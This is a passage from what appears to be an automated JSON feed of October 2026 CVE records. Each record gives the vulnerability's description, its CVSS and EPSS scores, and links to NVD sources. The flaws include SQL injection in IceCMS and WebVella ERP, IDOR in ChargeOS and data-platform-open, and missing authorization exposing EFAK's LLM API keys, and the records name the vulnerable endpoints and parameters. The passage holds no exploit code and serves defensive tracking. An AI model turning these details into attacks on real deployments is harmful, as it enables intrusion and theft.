record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111702&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111702, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111701","cveId":"CVE-2026-111701","aliases":[],"kind":"vulnerability","title":"OtterMind Nubase through 0.1.4 contains a missing authentication vulnerability that allows unauthenticated attackers to access private bucket objects because...","summary":"OtterMind Nubase through 0.1.4 contains a missing authentication vulnerability that allows unauthenticated attackers to access private bucket objects because /storage/v1/object/{bucketId}/{path} is treated as public for every HTTP method. Attackers knowing a tenant subdomain, bucket id and object path can download objects from private buckets and delete stored objects without an apikey or JWT.","detail":"OtterMind Nubase through 0.1.4 contains a missing authentication vulnerability that allows unauthenticated attackers to access private bucket objects because /storage/v1/object/{bucketId}/{path} is treated as public for every HTTP method. Attackers knowing a tenant subdomain, bucket id and object path can download objects from private buckets and delete stored objects without an apikey or JWT.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:53.930Z","updatedAt":"2026-10-16T22:17:22.840Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111701","asOf":"2026-10-16T22:17:22.840Z"},"epss":{"probability":0.003,"percentile":0.22455,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111701&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111701","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111701","type":"primary","publishedAt":"2026-10-16T18:17:53.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111701&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111701, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111700","cveId":"CVE-2026-111700","aliases":[],"kind":"vulnerability","title":"WebVella ERP through 1.8.8 contains an sql injection vulnerability that allows any authenticated user to inject SQL through WHERE-clause text literals in the EQL query API.","summary":"WebVella ERP through 1.8.8 contains an sql injection vulnerability that allows any authenticated user to inject SQL through WHERE-clause text literals in the EQL query API. Attackers can send crafted single-quoted literals to POST /api/v3/en_US/eql, escaping the unsanitized EqlBuilder SQL interpolation to read unauthorized entities, including user and role tables.","detail":"WebVella ERP through 1.8.8 contains an sql injection vulnerability that allows any authenticated user to inject SQL through WHERE-clause text literals in the EQL query API. Attackers can send crafted single-quoted literals to POST /api/v3/en_US/eql, escaping the unsanitized EqlBuilder SQL interpolation to read unauthorized entities, including user and role tables.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:53.780Z","updatedAt":"2026-10-19T14:16:59.903Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111700","asOf":"2026-10-19T14:16:59.903Z"},"epss":{"probability":0.0027,"percentile":0.1899,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111700&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111700","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111700","type":"primary","publishedAt":"2026-10-16T18:17:53.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111700&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111700, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111698","cveId":"CVE-2026-111698","aliases":[],"kind":"vulnerability","title":"HUIZHI ChargeOS cloud through 3.0.9 contains a missing authorization vulnerability in the hcp-mp PayController.xcxRecharge endpoint that allows attackers to modify any member's...","summary":"HUIZHI ChargeOS cloud through 3.0.9 contains a missing authorization vulnerability in the hcp-mp PayController.xcxRecharge endpoint that allows attackers to modify any member's wallet balance without payment. Attackers can send requests with arbitrary amount and userId parameters to credit or reduce balances and consume charging services for free.","detail":"HUIZHI ChargeOS cloud through 3.0.9 contains a missing authorization vulnerability in the hcp-mp PayController.xcxRecharge endpoint that allows attackers to modify any member's wallet balance without payment. Attackers can send requests with arbitrary amount and userId parameters to credit or reduce balances and consume charging services for free.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:53.490Z","updatedAt":"2026-10-16T20:17:22.610Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111698","asOf":"2026-10-16T20:17:22.610Z"},"epss":{"probability":0.00326,"percentile":0.25403,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111698&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111698","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111698","type":"primary","publishedAt":"2026-10-16T18:17:53.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111698&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111698, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111697","cveId":"CVE-2026-111697","aliases":[],"kind":"vulnerability","title":"HUIZHI ChargeOS cloud through 3.0.9 contains an insecure direct object reference vulnerability in the hcp-mp MeController and OrderController that trusts client-supplied userId,...","summary":"HUIZHI ChargeOS cloud through 3.0.9 contains an insecure direct object reference vulnerability in the hcp-mp MeController and OrderController that trusts client-supplied userId, openId and orderNumber parameters. Attackers can enumerate sequential member ids against endpoints like /me/getMemberBalanceByUserId and /order/orderDetail to read any member's wallet, credit, profile and charging orders.","detail":"HUIZHI ChargeOS cloud through 3.0.9 contains an insecure direct object reference vulnerability in the hcp-mp MeController and OrderController that trusts client-supplied userId, openId and orderNumber parameters. Attackers can enumerate sequential member ids against endpoints like /me/getMemberBalanceByUserId and /order/orderDetail to read any member's wallet, credit, profile and charging orders.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:53.350Z","updatedAt":"2026-10-16T19:17:05.007Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111697","asOf":"2026-10-16T19:17:05.007Z"},"epss":{"probability":0.00386,"percentile":0.32418,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111697&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111697","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111697","type":"primary","publishedAt":"2026-10-16T18:17:53.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111697&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111697, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111696","cveId":"CVE-2026-111696","aliases":[],"kind":"vulnerability","title":"data-platform-open through commit efeacd3 uses a hardcoded, publicly known default AES key in AesPasswordEncAndDecServiceImpl, allowing authenticated attackers to decrypt stored...","summary":"data-platform-open through commit efeacd3 uses a hardcoded, publicly known default AES key in AesPasswordEncAndDecServiceImpl, allowing authenticated attackers to decrypt stored datasource passwords. Attackers can obtain ciphertext passwords from the datasource detail API, for example via cross-workspace IDOR, and decrypt them offline to recover plaintext database credentials.","detail":"data-platform-open through commit efeacd3 uses a hardcoded, publicly known default AES key in AesPasswordEncAndDecServiceImpl, allowing authenticated attackers to decrypt stored datasource passwords. Attackers can obtain ciphertext passwords from the datasource detail API, for example via cross-workspace IDOR, and decrypt them offline to recover plaintext database credentials.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:53.220Z","updatedAt":"2026-10-16T22:17:22.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111696","asOf":"2026-10-16T22:17:22.720Z"},"epss":{"probability":0.00304,"percentile":0.22964,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111696&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111696","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111696","type":"primary","publishedAt":"2026-10-16T18:17:53.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111696&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111696, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111695","cveId":"CVE-2026-111695","aliases":[],"kind":"vulnerability","title":"Shaiwz data-platform-open through commit efeacd3 contains an insecure direct object reference vulnerability that allows authenticated workspace members to access other workspaces'...","summary":"Shaiwz data-platform-open through commit efeacd3 contains an insecure direct object reference vulnerability that allows authenticated workspace members to access other workspaces' datasources by numeric id. Attackers can send foreign sequential ids to /datasource/detail, /listSchemaTable, /tableDetail, /update or /delete to obtain JDBC credentials, enumerate database schemas, and modify or delete datasources.","detail":"Shaiwz data-platform-open through commit efeacd3 contains an insecure direct object reference vulnerability that allows authenticated workspace members to access other workspaces' datasources by numeric id. Attackers can send foreign sequential ids to /datasource/detail, /listSchemaTable, /tableDetail, /update or /delete to obtain JDBC credentials, enumerate database schemas, and modify or delete datasources.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:53.080Z","updatedAt":"2026-10-19T14:16:59.770Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111695","asOf":"2026-10-19T14:16:59.770Z"},"epss":{"probability":0.00335,"percentile":0.26653,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111695&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111695","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111695","type":"primary","publishedAt":"2026-10-16T18:17:53.080Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111695&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111695, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111686","cveId":"CVE-2026-111686","aliases":[],"kind":"vulnerability","title":"IceCMS through 4.1.5 contains an unauthenticated sql injection vulnerability that allows remote attackers to inject SQL through the num path parameter of...","summary":"IceCMS through 4.1.5 contains an unauthenticated sql injection vulnerability that allows remote attackers to inject SQL through the num path parameter of /WebArticle/findarticlesbynum. Attackers can append crafted SQL after the LIMIT clause concatenated into a MyBatis-Plus QueryWrapper to extract database contents via union-based or blind techniques.","detail":"IceCMS through 4.1.5 contains an unauthenticated sql injection vulnerability that allows remote attackers to inject SQL through the num path parameter of /WebArticle/findarticlesbynum. Attackers can append crafted SQL after the LIMIT clause concatenated into a MyBatis-Plus QueryWrapper to extract database contents via union-based or blind techniques.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:51.787Z","updatedAt":"2026-10-16T22:17:22.500Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111686","asOf":"2026-10-16T22:17:22.500Z"},"epss":{"probability":0.00425,"percentile":0.36461,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111686&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111686","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111686","type":"primary","publishedAt":"2026-10-16T18:17:51.787Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111686&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111686, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111685","cveId":"CVE-2026-111685","aliases":[],"kind":"vulnerability","title":"IceCMS through 4.1.5 contains an unauthenticated sql injection vulnerability that allows remote attackers to inject SQL by supplying a crafted num path parameter to...","summary":"IceCMS through 4.1.5 contains an unauthenticated sql injection vulnerability that allows remote attackers to inject SQL by supplying a crafted num path parameter to /WebResource/findresourcebynum. Attackers can append SQL after the LIMIT clause concatenated via QueryWrapper.last() to extract database contents using union-based or blind techniques.","detail":"IceCMS through 4.1.5 contains an unauthenticated sql injection vulnerability that allows remote attackers to inject SQL by supplying a crafted num path parameter to /WebResource/findresourcebynum. Attackers can append SQL after the LIMIT clause concatenated via QueryWrapper.last() to extract database contents using union-based or blind techniques.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:51.643Z","updatedAt":"2026-10-19T14:16:59.507Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111685","asOf":"2026-10-19T14:16:59.507Z"},"epss":{"probability":0.00523,"percentile":0.44118,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111685&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111685","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111685","type":"primary","publishedAt":"2026-10-16T18:17:51.643Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111685&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111685, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111684","cveId":"CVE-2026-111684","aliases":[],"kind":"vulnerability","title":"Magistrala through 1.0.0 contains an authorization bypass vulnerability that allows authenticated workspace members to view, issue, and revoke other tenants' device certificates...","summary":"Magistrala through 1.0.0 contains an authorization bypass vulnerability that allows authenticated workspace members to view, issue, and revoke other tenants' device certificates by supplying foreign serials or entity ids. Attackers can call RevokeBySerial, RevokeAll, ViewCert, ListCerts, or IssueCert under their own workspace path to disconnect other tenants' devices, disclose certificates, and mint CA-signed certificates for their device ids.","detail":"Magistrala through 1.0.0 contains an authorization bypass vulnerability that allows authenticated workspace members to view, issue, and revoke other tenants' device certificates by supplying foreign serials or entity ids. Attackers can call RevokeBySerial, RevokeAll, ViewCert, ListCerts, or IssueCert under their own workspace path to disconnect other tenants' devices, disclose certificates, and mint CA-signed certificates for their device ids.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:51.477Z","updatedAt":"2026-10-21T21:17:54.843Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111684","asOf":"2026-10-21T21:17:54.843Z"},"epss":{"probability":0.0022,"percentile":0.12485,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111684&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111684","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111684","type":"primary","publishedAt":"2026-10-16T18:17:51.477Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111684&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111684, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111682","cveId":"CVE-2026-111682","aliases":[],"kind":"vulnerability","title":"EFAK 5.0.0 through 5.1.0 contains a missing authorization vulnerability that allows authenticated low-privilege users to read LLM provider API keys through the /api/model-config...","summary":"EFAK 5.0.0 through 5.1.0 contains a missing authorization vulnerability that allows authenticated low-privilege users to read LLM provider API keys through the /api/model-config REST API. Attackers with any ROLE_USER account can query /api/model-config/page or /api/model-config/{id} to retrieve unmasked keys, enabling provider account access and incurred costs.","detail":"EFAK 5.0.0 through 5.1.0 contains a missing authorization vulnerability that allows authenticated low-privilege users to read LLM provider API keys through the /api/model-config REST API. Attackers with any ROLE_USER account can query /api/model-config/page or /api/model-config/{id} to retrieve unmasked keys, enabling provider account access and incurred costs.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:51.213Z","updatedAt":"2026-10-16T20:17:22.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111682","asOf":"2026-10-16T20:17:22.140Z"},"epss":{"probability":0.00386,"percentile":0.3242,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111682&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111682","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111682","type":"primary","publishedAt":"2026-10-16T18:17:51.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 